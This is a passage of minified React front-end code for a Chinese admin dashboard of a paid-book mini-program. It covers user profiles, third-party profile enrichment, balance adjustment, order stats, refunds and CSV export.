overflow-auto",children:[s.jsxs("div",{className:"mb-3 p-3 bg-[#0a1628] rounded-lg flex items-center gap-2",children:[s.jsx(ml,{className:"w-4 h-4 text-[#38bdac]"}),s.jsxs("span",{className:"text-gray-400 text-sm",children:["记录用户从注册到付费的完整行动路径,共 ",o.length," 条记录"]})]}),s.jsx("div",{className:"space-y-2",children:o.length>0?o.map((pe,ge)=>s.jsxs("div",{className:"flex items-start gap-3 p-3 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex flex-col items-center",children:[s.jsx("div",{className:"w-8 h-8 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-[#38bdac]",children:Wr(pe.action)}),ge0?u.map((pe,ge)=>{var On;const Pt=pe;return s.jsxs("div",{className:"flex items-center justify-between p-2 bg-[#162840] rounded",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:"w-6 h-6 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-xs text-[#38bdac]",children:((On=Pt.nickname)==null?void 0:On.charAt(0))||"?"}),s.jsx("span",{className:"text-white text-sm",children:Pt.nickname})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[Pt.status==="vip"&&s.jsx(We,{className:"bg-green-500/20 text-green-400 border-0 text-xs",children:"已购"}),s.jsx("span",{className:"text-gray-500 text-xs",children:Pt.createdAt?new Date(Pt.createdAt).toLocaleDateString():""})]})]},Pt.id||ge)}):s.jsx("p",{className:"text-gray-500 text-sm text-center py-4",children:"暂无推荐用户"})})]})}),s.jsxs(en,{value:"shensheshou",className:"flex-1 overflow-auto space-y-4",children:[s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(li,{className:"w-5 h-5 text-[#38bdac]"}),s.jsx("span",{className:"text-white font-medium",children:"用户资料完善"}),s.jsx("span",{className:"text-gray-500 text-xs",children:"通过多维度查询神射手数据,自动回填用户基础信息"})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-2 mb-3",children:[s.jsxs("div",{children:[s.jsx(X,{className:"text-gray-500 text-xs mb-1 block",children:"手机号"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white",placeholder:"11位手机号",value:yt,onChange:pe=>nn(pe.target.value)})]}),s.jsxs("div",{children:[s.jsx(X,{className:"text-gray-500 text-xs mb-1 block",children:"微信号"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white",placeholder:"微信 ID",value:In,onChange:pe=>Mt(pe.target.value)})]}),s.jsxs("div",{className:"col-span-2",children:[s.jsx(X,{className:"text-gray-500 text-xs mb-1 block",children:"微信 OpenID"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white",placeholder:"openid_xxxx(自动填入)",value:Yt,onChange:pe=>rn(pe.target.value)})]})]}),s.jsx(te,{onClick:mr,disabled:ye,className:"w-full bg-[#38bdac] hover:bg-[#2da396] text-white",children:ye?s.jsxs(s.Fragment,{children:[s.jsx(qe,{className:"w-4 h-4 mr-1 animate-spin"})," 查询并自动回填中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(Na,{className:"w-4 h-4 mr-1"})," 查询并自动完善用户资料"]})}),s.jsx("p",{className:"text-gray-600 text-xs mt-2",children:"查询成功后,神射手返回的标签将自动同步到该用户"}),Tt&&s.jsx("div",{className:"mt-3 p-3 bg-red-500/10 border border-red-500/30 rounded-lg text-red-400 text-sm",children:Tt}),Le&&s.jsxs("div",{className:"mt-3 space-y-3",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-3",children:[s.jsxs("div",{className:"p-3 bg-[#162840] rounded-lg",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"神射手 RFM 分"}),s.jsx("p",{className:"text-2xl font-bold text-[#38bdac]",children:Le.rfm_score??"-"})]}),s.jsxs("div",{className:"p-3 bg-[#162840] rounded-lg",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"用户等级"}),s.jsx("p",{className:"text-2xl font-bold text-white",children:Le.user_level??"-"})]})]}),Le.tags&&Le.tags.length>0&&s.jsxs("div",{className:"p-3 bg-[#162840] rounded-lg",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-2",children:"神射手标签"}),s.jsx("div",{className:"flex flex-wrap gap-2",children:Le.tags.map((pe,ge)=>s.jsx(We,{className:"bg-[#38bdac]/10 text-[#38bdac] border border-[#38bdac]/20",children:pe},ge))})]}),Le.last_active&&s.jsxs("div",{className:"text-sm text-gray-500",children:["最近活跃:",Le.last_active]})]})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex items-center justify-between mb-3",children:[s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center gap-2 mb-1",children:[s.jsx(li,{className:"w-4 h-4 text-purple-400"}),s.jsx("span",{className:"text-white font-medium",children:"推送用户数据到神射手"})]}),s.jsx("p",{className:"text-gray-500 text-xs",children:"将本用户信息(手机号、昵称、标签等)同步至神射手,自动完善用户画像"})]}),s.jsx(te,{onClick:As,disabled:Rn||!a.phone,variant:"outline",className:"border-purple-500/40 text-purple-400 hover:bg-purple-500/10 bg-transparent shrink-0 ml-4",children:Rn?s.jsxs(s.Fragment,{children:[s.jsx(qe,{className:"w-4 h-4 mr-1 animate-spin"})," 推送中"]}):s.jsxs(s.Fragment,{children:[s.jsx(li,{className:"w-4 h-4 mr-1"})," 推送"]})})]}),!a.phone&&s.jsx("p",{className:"text-yellow-500/70 text-xs",children:"⚠ 用户未绑定手机号,无法推送"}),Pn&&s.jsx("div",{className:"mt-3 p-3 bg-[#162840] rounded-lg text-sm",children:Pn.error?s.jsx("p",{className:"text-red-400",children:String(Pn.error)}):s.jsxs("div",{className:"space-y-1",children:[s.jsxs("p",{className:"text-green-400 flex items-center gap-1",children:[s.jsx(Mg,{className:"w-4 h-4"})," 推送成功"]}),Pn.enriched!==void 0&&s.jsxs("p",{className:"text-gray-400",children:["自动补全标签数:",String(Pn.new_tags_added??0)]})]})})]})]})]}),s.jsxs("div",{className:"flex justify-end gap-2 pt-3 border-t border-gray-700 mt-3",children:[s.jsxs(te,{variant:"outline",onClick:e,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"关闭"]}),s.jsxs(te,{onClick:ct,disabled:v,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),v?"保存中...":"保存修改"]})]})]}):s.jsx("div",{className:"text-center py-12 text-gray-500",children:"用户不存在"})]})}),s.jsx(Dt,{open:W,onOpenChange:le,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsx(_t,{children:"调整余额"})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"调整金额(元)"}),s.jsx(se,{type:"number",step:"0.01",className:"bg-[#0a1628] border-gray-700 text-white mt-1",placeholder:"正数增加,负数扣减,如 10 或 -5",value:J,onChange:pe=>Y(pe.target.value)})]}),s.jsxs("div",{children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"备注(可选)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white mt-1",placeholder:"如:活动补偿",value:V,onChange:pe=>re(pe.target.value)})]})]}),s.jsxs("div",{className:"flex justify-end gap-2",children:[s.jsx(te,{variant:"outline",onClick:()=>le(!1),className:"border-gray-600 text-gray-300",children:"取消"}),s.jsx(te,{onClick:gn,disabled:ue,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:ue?"提交中...":"确认调整"})]})]})})]}):null}function hP(){const t=Ci(),[e,n]=b.useState(!0),[r,a]=b.useState(!0),[i,o]=b.useState(!0),[c,u]=b.useState([]),[h,f]=b.useState([]),[m,g]=b.useState(0),[y,N]=b.useState(0),[w,v]=b.useState(0),[k,C]=b.useState(0),[E,T]=b.useState(null),[I,O]=b.useState(null),[L,R]=b.useState(!1),[D,z]=b.useState(0),[Z,ne]=b.useState(!1),[fe,xe]=b.useState("week"),[$,H]=b.useState(null),[oe,P]=b.useState(!1),q=Y=>{const V=Y;if((V==null?void 0:V.status)===401)T("登录已过期,请重新登录");else{if((V==null?void 0:V.name)==="AbortError")return;T("加载失败,请检查网络或联系管理员")}};async function B(Y){const V=Y?{signal:Y}:void 0;n(!0),T(null);try{const ce=await De("/api/admin/dashboard/stats",V);ce!=null&&ce.success&&(g(ce.totalUsers??0),N(ce.paidOrderCount??0),v(ce.totalRevenue??0),C(ce.conversionRate??0))}catch(ce){if((ce==null?void 0:ce.name)!=="AbortError"){console.error("stats 失败,尝试 overview 降级",ce);try{const ye=await De("/api/admin/dashboard/overview",V);ye!=null&&ye.success&&(g(ye.totalUsers??0),N(ye.paidOrderCount??0),v(ye.totalRevenue??0),C(ye.conversionRate??0))}catch(ye){q(ye)}}}finally{n(!1)}try{const ce=await De("/api/admin/balance/summary",V);ce!=null&&ce.success&&ce.data&&z(ce.data.totalGifted??0)}catch{}a(!0),o(!0);const re=async()=>{try{const ce=await De("/api/admin/dashboard/recent-orders?limit=10",V);if(ce!=null&&ce.success&&ce.recentOrders)f(ce.recentOrders);else throw new Error("no data")}catch(ce){if((ce==null?void 0:ce.name)!=="AbortError")try{const ye=await De("/api/admin/orders?page=1&pageSize=20&status=paid",V),Le=((ye==null?void 0:ye.orders)??[]).filter(lt=>["paid","completed","success"].includes(lt.status||""));f(Le.slice(0,5))}catch{f([])}}finally{a(!1)}},ue=async()=>{try{const ce=await De("/api/admin/dashboard/new-users",V);if(ce!=null&&ce.success&&ce.newUsers)u(ce.newUsers);else throw new Error("no data")}catch(ce){if((ce==null?void 0:ce.name)!=="AbortError")try{const ye=await De("/api/db/users?page=1&pageSize=10",V);u((ye==null?void 0:ye.users)??[])}catch{u([])}}finally{o(!1)}};await Promise.all([re(),ue()])}async function _(Y){const V=Y||fe;P(!0);try{const re=await De(`/api/admin/track/stats?period=${V}`);re!=null&&re.success&&H({total:re.total??0,byModule:re.byModule??{}})}catch{H(null)}finally{P(!1)}}b.useEffect(()=>{const Y=new AbortController;B(Y.signal),_();const V=setInterval(()=>{B(),_()},3e4);return()=>{Y.abort(),clearInterval(V)}},[]);const W=m,le=Y=>{const V=Y.productType||"",re=Y.description||"";if(V==="balance_recharge")return{title:`余额充值 ¥${typeof Y.amount=="number"?Y.amount.toFixed(2):parseFloat(String(Y.amount||"0")).toFixed(2)}`,subtitle:"余额充值"};if(V==="gift_pay")return{title:`代付 ¥${typeof Y.amount=="number"?Y.amount.toFixed(2):parseFloat(String(Y.amount||"0")).toFixed(2)}`,subtitle:"好友代付"};if(V==="gift_pay_batch"){const ue=typeof Y.amount=="number"?Y.amount.toFixed(2):parseFloat(String(Y.amount||"0")).toFixed(2);return{title:re||`代付分享 ¥${ue}`,subtitle:"代付分享"}}if(V==="section"&&re.includes("代付领取"))return{title:re.replace("代付领取 - ",""),subtitle:"代付领取"};if(re){if(V==="section"&&re.includes("章节")){if(re.includes("-")){const ue=re.split("-");if(ue.length>=3)return{title:`第${ue[1]}章 第${ue[2]}节`,subtitle:"《一场Soul的创业实验》"}}return{title:re,subtitle:"章节购买"}}return V==="fullbook"||re.includes("全书")?{title:"《一场Soul的创业实验》",subtitle:"全书购买"}:V==="vip"||re.includes("VIP")?{title:"超级个体开通费用",subtitle:"超级个体"}:V==="match"||re.includes("伙伴")?{title:"找伙伴匹配",subtitle:"功能服务"}:{title:re,subtitle:V==="section"?"单章":V==="fullbook"?"全书":"其他"}}return V==="section"?{title:`章节 ${Y.productId||""}`,subtitle:"单章购买"}:V==="fullbook"?{title:"《一场Soul的创业实验》",subtitle:"全书购买"}:V==="vip"?{title:"超级个体开通费用",subtitle:"超级个体"}:V==="match"?{title:"找伙伴匹配",subtitle:"功能服务"}:{title:"未知商品",subtitle:V||"其他"}},J=[{title:"总用户数",value:e?null:W,sub:null,icon:Zn,color:"text-blue-400",bg:"bg-blue-500/20",link:"/users"},{title:"总收入",value:e?null:`¥${(w??0).toFixed(2)}`,sub:D>0?`含代付 ¥${D.toFixed(2)}`:null,icon:$c,color:"text-[#38bdac]",bg:"bg-[#38bdac]/20",link:"/orders"},{title:"订单数",value:e?null:y,sub:null,icon:Og,color:"text-purple-400",bg:"bg-purple-500/20",link:"/orders"},{title:"转化率",value:e?null:`${typeof k=="number"?k.toFixed(1):0}%`,sub:null,icon:Br,color:"text-orange-400",bg:"bg-orange-500/20",link:"/distribution"}];return s.jsxs("div",{className:"p-8 w-full",children:[s.jsx("h1",{className:"text-2xl font-bold mb-8 text-white",children:"数据概览"}),E&&s.jsxs("div",{className:"mb-6 px-4 py-3 rounded-lg bg-amber-500/20 border border-amber-500/50 text-amber-200 text-sm flex items-center justify-between",children:[s.jsx("span",{children:E}),s.jsx("button",{type:"button",onClick:()=>B(),className:"text-amber-400 hover:text-amber-300 underline",children:"重试"})]}),s.jsx("div",{className:"grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-6 mb-8",children:J.map((Y,V)=>s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl cursor-pointer hover:border-[#38bdac]/50 transition-colors group",onClick:()=>Y.link&&t(Y.link),children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between pb-2",children:[s.jsx(Qe,{className:"text-sm font-medium text-gray-400",children:Y.title}),s.jsx("div",{className:`p-2 rounded-lg ${Y.bg}`,children:s.jsx(Y.icon,{className:`w-4 h-4 ${Y.color}`})})]}),s.jsx(Ee,{children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("div",{className:"text-2xl font-bold text-white min-h-8 flex items-center",children:Y.value!=null?Y.value:s.jsxs("span",{className:"inline-flex items-center gap-2 text-gray-500",children:[s.jsx(qe,{className:"w-4 h-4 animate-spin"}),"加载中"]})}),Y.sub&&s.jsx("p",{className:"text-xs text-gray-500 mt-1",children:Y.sub})]}),s.jsx(pl,{className:"w-5 h-5 text-gray-600 group-hover:text-[#38bdac] transition-colors"})]})})]},V))}),s.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-2 gap-8",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between",children:[s.jsx(Qe,{className:"text-white",children:"最近订单"}),s.jsxs("button",{type:"button",onClick:()=>B(),disabled:r||i,className:"text-xs text-gray-400 hover:text-[#38bdac] flex items-center gap-1 disabled:opacity-50",title:"刷新",children:[r||i?s.jsx(qe,{className:"w-3.5 h-3.5 animate-spin"}):s.jsx(qe,{className:"w-3.5 h-3.5"}),"刷新(每 30 秒自动更新)"]})]}),s.jsx(Ee,{children:s.jsx("div",{className:"space-y-3",children:r&&h.length===0?s.jsxs("div",{className:"flex flex-col items-center justify-center py-12 text-gray-500",children:[s.jsx(qe,{className:"w-8 h-8 animate-spin mb-2"}),s.jsx("span",{className:"text-sm",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[h.slice(0,Z?10:4).map(Y=>{var ye;const V=Y.referrerId?c.find(Re=>Re.id===Y.referrerId):void 0,re=Y.referralCode||(V==null?void 0:V.referralCode)||(V==null?void 0:V.nickname)||(Y.referrerId?String(Y.referrerId).slice(0,8):""),ue=le(Y),ce=Y.userNickname||((ye=c.find(Re=>Re.id===Y.userId))==null?void 0:ye.nickname)||"匿名用户";return s.jsxs("div",{className:"flex items-start justify-between p-4 bg-[#0a1628] rounded-lg border border-gray-700/30 hover:border-[#38bdac]/30 transition-colors",children:[s.jsxs("div",{className:"flex items-start gap-3 flex-1",children:[Y.userAvatar?s.jsx("img",{src:Y.userAvatar,alt:ce,className:"w-9 h-9 rounded-full object-cover flex-shrink-0 mt-0.5",onError:Re=>{Re.currentTarget.style.display="none";const Le=Re.currentTarget.nextElementSibling;Le&&Le.classList.remove("hidden")}}):null,s.jsx("div",{className:`w-9 h-9 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm font-medium text-[#38bdac] flex-shrink-0 mt-0.5 ${Y.userAvatar?"hidden":""}`,children:ce.charAt(0)}),s.jsxs("div",{className:"flex-1 min-w-0",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-1",children:[s.jsx("button",{type:"button",onClick:()=>{Y.userId&&(O(Y.userId),R(!0))},className:"text-sm text-[#38bdac] hover:text-[#2da396] hover:underline text-left",children:ce}),s.jsx("span",{className:"text-gray-600",children:"·"}),s.jsx("span",{className:"text-sm font-medium text-white truncate",children:ue.title})]}),s.jsxs("div",{className:"flex items-center gap-2 text-xs text-gray-500",children:[ue.subtitle&&ue.subtitle!=="章节购买"&&s.jsx("span",{className:"px-1.5 py-0.5 bg-gray-700/50 rounded",children:ue.subtitle}),s.jsx("span",{children:new Date(Y.createdAt||0).toLocaleString("zh-CN",{month:"2-digit",day:"2-digit",hour:"2-digit",minute:"2-digit"})})]}),re&&s.jsxs("p",{className:"text-xs text-gray-600 mt-1",children:["推荐: ",re]})]})]}),s.jsxs("div",{className:"text-right ml-4 flex-shrink-0",children:[s.jsxs("p",{className:"text-sm font-bold text-[#38bdac]",children:["+¥",Number(Y.amount).toFixed(2)]}),s.jsx("p",{className:"text-xs text-gray-500 mt-0.5",children:Y.paymentMethod||"微信"})]})]},Y.id)}),h.length>4&&!Z&&s.jsx("button",{type:"button",onClick:()=>ne(!0),className:"w-full py-2 text-sm text-[#38bdac] hover:text-[#2da396] border border-dashed border-gray-600 rounded-lg hover:border-[#38bdac]/50 transition-colors",children:"展开更多"}),h.length===0&&!r&&s.jsxs("div",{className:"text-center py-12",children:[s.jsx(Og,{className:"w-12 h-12 text-gray-600 mx-auto mb-3"}),s.jsx("p",{className:"text-gray-500",children:"暂无订单数据"})]})]})})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"新注册用户"})}),s.jsx(Ee,{children:s.jsx("div",{className:"space-y-3",children:i&&c.length===0?s.jsxs("div",{className:"flex flex-col items-center justify-center py-12 text-gray-500",children:[s.jsx(qe,{className:"w-8 h-8 animate-spin mb-2"}),s.jsx("span",{className:"text-sm",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[c.slice(0,5).map(Y=>{var V;return s.jsxs("div",{className:"flex items-center justify-between p-4 bg-[#0a1628] rounded-lg border border-gray-700/30",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-10 h-10 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm font-medium text-[#38bdac]",children:((V=Y.nickname)==null?void 0:V.charAt(0))||"?"}),s.jsxs("div",{children:[s.jsx("button",{type:"button",onClick:()=>{O(Y.id),R(!0)},className:"text-sm font-medium text-[#38bdac] hover:text-[#2da396] hover:underline text-left",children:Y.nickname||"匿名用户"}),s.jsx("p",{className:"text-xs text-gray-500",children:Y.phone||"-"})]})]}),s.jsx("p",{className:"text-xs text-gray-400",children:Y.createdAt?new Date(Y.createdAt).toLocaleDateString():"-"})]},Y.id)}),c.length===0&&!i&&s.jsx("p",{className:"text-gray-500 text-center py-8",children:"暂无用户数据"})]})})})]})]}),s.jsxs(Ce,{className:"mt-8 bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between",children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Tg,{className:"w-5 h-5 text-[#38bdac]"}),"分类标签点击统计"]}),s.jsx("div",{className:"flex items-center gap-2",children:["today","week","month","all"].map(Y=>s.jsx("button",{type:"button",onClick:()=>{xe(Y),_(Y)},className:`px-3 py-1 text-xs rounded-full transition-colors ${fe===Y?"bg-[#38bdac] text-white":"bg-gray-700/50 text-gray-400 hover:bg-gray-700"}`,children:{today:"今日",week:"本周",month:"本月",all:"全部"}[Y]},Y))})]}),s.jsx(Ee,{children:oe&&!$?s.jsxs("div",{className:"flex items-center justify-center py-12 text-gray-500",children:[s.jsx(qe,{className:"w-6 h-6 animate-spin mr-2"}),s.jsx("span",{children:"加载中..."})]}):$&&Object.keys($.byModule).length>0?s.jsxs("div",{className:"space-y-6",children:[s.jsxs("p",{className:"text-sm text-gray-400",children:["总点击 ",s.jsx("span",{className:"text-white font-bold text-lg",children:$.total})," 次"]}),s.jsx("div",{className:"grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4",children:Object.entries($.byModule).sort((Y,V)=>V[1].reduce((re,ue)=>re+ue.count,0)-Y[1].reduce((re,ue)=>re+ue.count,0)).map(([Y,V])=>{const re=V.reduce((ce,ye)=>ce+ye.count,0),ue={home:"首页",chapters:"目录",read:"阅读",my:"我的",vip:"VIP",wallet:"钱包",match:"找伙伴",referral:"推广",search:"搜索",settings:"设置",about:"关于",other:"其他"};return s.jsxs("div",{className:"bg-[#0a1628] rounded-lg border border-gray-700/30 p-4",children:[s.jsxs("div",{className:"flex items-center justify-between mb-3",children:[s.jsx("span",{className:"text-sm font-medium text-[#38bdac]",children:ue[Y]||Y}),s.jsxs("span",{className:"text-xs text-gray-500",children:[re," 次"]})]}),s.jsx("div",{className:"space-y-2",children:V.sort((ce,ye)=>ye.count-ce.count).slice(0,8).map((ce,ye)=>{const Re={开始匹配:"开始匹配",mentor:"导师顾问",team:"团队招募",investor:"资源对接",充值:"充值",退款:"退款",wallet:"钱包",设置:"设置",VIP:"VIP会员",推广:"推广中心",目录:"目录",搜索:"搜索",匹配:"找伙伴",settings:"设置",expired:"已过期",active:"活跃",converted:"已转化",fill_profile:"完善资料",register:"注册",purchase:"购买",btn_click:"按钮点击",nav_click:"导航点击",card_click:"卡片点击",tab_click:"标签切换",rule_trigger:"规则触发",view_chapter:"浏览章节",链接卡若:"链接卡若",更多分享:"更多分享",分享朋友圈文案:"分享朋友圈",选择金额10:"选择金额10元"},Le={btn_click:"按钮点击",nav_click:"导航点击",card_click:"卡片点击",tab_click:"标签切换",purchase:"购买",register:"注册",rule_trigger:"规则触发",view_chapter:"浏览章节"},lt=Re[ce.target]||ce.target||Le[ce.action]||ce.action;return s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-gray-300 truncate mr-2",title:`${ce.action}: ${ce.target}`,children:lt}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",children:[s.jsx("div",{className:"w-16 h-1.5 bg-gray-700 rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-[#38bdac] rounded-full",style:{width:`${re>0?ce.count/re*100:0}%`}})}),s.jsx("span",{className:"text-gray-400 w-8 text-right",children:ce.count})]})]},ye)})})]},Y)})})]}):s.jsxs("div",{className:"text-center py-12",children:[s.jsx(Tg,{className:"w-12 h-12 text-gray-600 mx-auto mb-3"}),s.jsx("p",{className:"text-gray-500",children:"暂无点击数据"}),s.jsx("p",{className:"text-gray-600 text-xs mt-1",children:"小程序端接入埋点后,数据将在此实时展示"})]})})]}),s.jsx(n0,{open:L,onClose:()=>{R(!1),O(null)},userId:I,onUserUpdated:()=>B()})]})}const lr=b.forwardRef(({className:t,...e},n)=>s.jsx("div",{className:"relative w-full overflow-auto",children:s.jsx("table",{ref:n,className:Et("w-full caption-bottom text-sm",t),...e})}));lr.displayName="Table";const cr=b.forwardRef(({className:t,...e},n)=>s.jsx("thead",{ref:n,className:Et("[&_tr]:border-b",t),...e}));cr.displayName="TableHeader";const dr=b.forwardRef(({className:t,...e},n)=>s.jsx("tbody",{ref:n,className:Et("[&_tr:last-child]:border-0",t),...e}));dr.displayName="TableBody";const it=b.forwardRef(({className:t,...e},n)=>s.jsx("tr",{ref:n,className:Et("border-b transition-colors hover:bg-muted/50 data-[state=selected]:bg-muted",t),...e}));it.displayName="TableRow";const ke=b.forwardRef(({className:t,...e},n)=>s.jsx("th",{ref:n,className:Et("h-12 px-4 text-left align-middle font-medium text-muted-foreground [&:has([role=checkbox])]:pr-0",t),...e}));ke.displayName="TableHead";const ve=b.forwardRef(({className:t,...e},n)=>s.jsx("td",{ref:n,className:Et("p-4 align-middle [&:has([role=checkbox])]:pr-0",t),...e}));ve.displayName="TableCell";function r0(t,e){const[n,r]=b.useState(t);return b.useEffect(()=>{const a=setTimeout(()=>r(t),e);return()=>clearTimeout(a)},[t,e]),n}function is({page:t,totalPages:e,total:n,pageSize:r,onPageChange:a,onPageSizeChange:i,pageSizeOptions:o=[10,20,50,100]}){return e<=1&&!i?null:s.jsxs("div",{className:"flex items-center justify-between gap-4 py-4 px-5 border-t border-gray-700/50",children:[s.jsxs("div",{className:"flex items-center gap-2 text-sm text-gray-400",children:[s.jsxs("span",{children:["共 ",n," 条"]}),i&&s.jsx("select",{value:r,onChange:c=>i(Number(c.target.value)),className:"bg-[#0f2137] border border-gray-600 rounded px-2 py-1 text-gray-300 text-sm",children:o.map(c=>s.jsxs("option",{value:c,children:[c," 条/页"]},c))})]}),e>1&&s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("button",{type:"button",onClick:()=>a(1),disabled:t<=1,className:"px-2 py-1 rounded border border-gray-600 text-gray-400 hover:bg-gray-700/50 disabled:opacity-40 text-sm",children:"首页"}),s.jsx("button",{type:"button",onClick:()=>a(t-1),disabled:t<=1,className:"px-3 py-1 rounded border border-gray-600 text-gray-400 hover:bg-gray-700/50 disabled:opacity-40 text-sm",children:"上一页"}),s.jsxs("span",{className:"px-3 py-1 text-gray-400 text-sm",children:[t," / ",e]}),s.jsx("button",{type:"button",onClick:()=>a(t+1),disabled:t>=e,className:"px-3 py-1 rounded border border-gray-600 text-gray-400 hover:bg-gray-700/50 disabled:opacity-40 text-sm",children:"下一页"}),s.jsx("button",{type:"button",onClick:()=>a(e),disabled:t>=e,className:"px-2 py-1 rounded border border-gray-600 text-gray-400 hover:bg-gray-700/50 disabled:opacity-40 text-sm",children:"末页"})]})]})}function fP(){const[t,e]=b.useState([]),[n,r]=b.useState([]),[a,i]=b.useState(0),[o,c]=b.useState(0),[u,h]=b.useState(0),[f,m]=b.useState(1),[g,y]=b.useState(10),[N,w]=b.useState(""),v=r0(N,300),[k,C]=b.useState("all"),[E,T]=b.useState(!0),[I,O]=b.useState(null),[L,R]=b.useState(null),[D,z]=b.useState(""),[Z,ne]=b.useState(!1);async function fe(){T(!0),O(null);try{const B=k==="all"?"":k==="completed"?"completed":k,_=new URLSearchParams({page:String(f),pageSize:String(g),...B&&{status:B},...v&&{search:v}}),[W,le]=await Promise.all([De(`/api/admin/orders?${_}`),De("/api/db/users?page=1&pageSize=500")]);W!=null&&W.success&&(e(W.orders||[]),i(W.total??0),c(W.totalRevenue??0),h(W.todayRevenue??0)),le!=null&&le.success&&le.users&&r(le.users)}catch(B){console.error("加载订单失败",B),O("加载订单失败,请检查网络后重试")}finally{T(!1)}}b.useEffect(()=>{m(1)},[v,k]),b.useEffect(()=>{fe()},[f,g,v,k]);const xe=B=>{var _;return B.userNickname||((_=n.find(W=>W.id===B.userId))==null?void 0:_.nickname)||"匿名用户"},$=B=>{var _;return((_=n.find(W=>W.id===B))==null?void 0:_.phone)||"-"},H=B=>{const _=B.productType||B.type||"",W=B.description||"";if(_==="balance_recharge")return{name:`余额充值 ¥${Number(B.amount||0).toFixed(2)}`,type:"余额充值"};if(W){if(_==="section"&&(W.includes("章节")||W.includes("代付领取"))){if(W.includes("代付领取"))return{name:W.replace("代付领取 - ",""),type:"代付领取"};if(W.includes("-")){const le=W.split("-");if(le.length>=3)return{name:`第${le[1]}章 第${le[2]}节`,type:"《一场Soul的创业实验》"}}return{name:W,type:"章节购买"}}return _==="fullbook"||W.includes("全书")?{name:"《一场Soul的创业实验》",type:"全书购买"}:_==="vip"||W.includes("VIP")?{name:"超级个体开通费用",type:"超级个体"}:_==="match"||W.includes("伙伴")?{name:"找伙伴匹配",type:"功能服务"}:{name:W,type:"其他"}}return _==="section"?{name:`章节 ${B.productId||B.sectionId||""}`,type:"单章"}:_==="fullbook"?{name:"《一场Soul的创业实验》",type:"全书"}:_==="vip"?{name:"超级个体开通费用",type:"超级个体"}:_==="match"?{name:"找伙伴匹配",type:"功能"}:{name:"未知商品",type:_||"其他"}},oe=Math.ceil(a/g)||1;async function P(){var B;if(!(!(L!=null&&L.orderSn)&&!(L!=null&&L.id))){ne(!0),O(null);try{const _=await zt("/api/admin/orders/refund",{orderSn:L.orderSn||L.id,reason:D||void 0});_!=null&&_.success?(R(null),z(""),fe()):O((_==null?void 0:_.error)||"退款失败")}catch(_){const W=_;O(((B=W==null?void 0:W.data)==null?void 0:B.error)||"退款失败,请检查网络后重试")}finally{ne(!1)}}}function q(){if(t.length===0){ie.info("暂无数据可导出");return}const B=["订单号","用户","手机号","商品","金额","支付方式","状态","退款原因","分销佣金","下单时间"],_=t.map(V=>{const re=H(V);return[V.orderSn||V.id||"",xe(V),$(V.userId),re.name,Number(V.amount||0).toFixed(2),V.paymentMethod==="wechat"?"微信支付":V.paymentMethod==="balance"?"余额支付":V.paymentMethod==="alipay"?"支付宝":V.paymentMethod||"微信支付",V.status==="refunded"?"已退款":V.status==="paid"||V.status==="completed"?"已完成":V.status==="pending"||V.status==="created"?"待支付":"已失败",V.status==="refunded"&&V.refundReason?V.refundReason:"-",V.referrerEarnings?Number(V.referrerEarnings).toFixed(2):"-",V.createdAt?new Date(V.createdAt).toLocaleString("zh-CN"):""].join(",")}),W="\uFEFF"+[B.join(","),..._].join(` +`),le=new Blob([W],{type:"text/csv;charset=utf-8"}),J=URL.createObjectURL(le),Y=document.createElement("a");Y.href=J,Y.download=`订单列表_${new 